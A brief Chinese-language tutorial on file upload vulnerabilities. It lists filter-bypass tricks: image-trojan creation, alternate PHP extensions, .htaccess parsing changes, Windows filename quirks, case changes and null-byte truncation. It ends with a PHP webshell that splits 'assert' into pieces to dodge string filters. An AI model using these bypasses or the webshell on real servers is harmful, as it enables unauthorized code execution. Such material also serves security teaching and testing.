本文授权自 MagicBoy
Learn file upload vulnerability | Network security
1.文件上传漏洞条件
- 上传文件的名称、后缀名、内容用户可以自定义设置;
- 上传文件的路径可以获取;
- 上传文件所在文件夹具备可执行权限;
2. Bypass 技巧
- 前端过滤 抓包修改后缀名、禁用JS
- 类型过滤 上传图片马、修改后缀名 制作图片马:
copy 1.jpg/b+muma.php/a muma.jpg
图片类文件头:GIF89a
- 黑名单过滤 禁用php后缀名时,使用畸形后缀名:phtml、php3、php4、php5、pht、php2
- 上传 .htaccess 文件,更改解析配置 AddType application/x-httpd-php .jpg:将 jpg 文件当成 php 进行解析
配置方式:
1. 将 httpd.config 中的 Option FollowSymLinks 从 AllowOverride None 修改为 ALLowOverride all
2. 将 LoadModule rewrite_module modules/mod_rewrite.so 前的 # 去除
- windows特性绕过 windows保存文件时,后缀末尾不会保存
.
、空格
、::$DATA
可以尝试将muma.php
修改为:muma.php
.、muma.php空格
、muma.php.空格
.、muma.php::$DATA
- 大小写绕过 将
php
修改为phP
、pHp
等 将禁用的函数eval
等进行大小写 - 双写绕过
- %00截断 对 php 版本和配置有要求。PHP版本=5.2.17,且 php.ini 中 magic_quotes_gpc Off
- 一些小知识
图片类文件头:
GIF89a
命令执行函数:
函数名作用eval命令执行system命令执行assert与eval类似,assert函数是直接将传入的参数字符串当成PHP代码直接exec命令执行,需要打印输出执行结果,且它只会输出最后一行的内容
读取文件:
cat
、
tac
、
less
、
more
、
head
、
tail
、
strings
、
paste
、
nl
、
//
变量拼接:
assert
,
system
可以动态拼接(php 版本小于8),
eval
不可以
<?php
$a = "ass";
$b = "ert";
$c = $a.$b;
$c($_POST['c']);
?>
如有侵权,请联系作者删除
版权归原作者 小饅頭 所有, 如有侵权,请联系我们删除。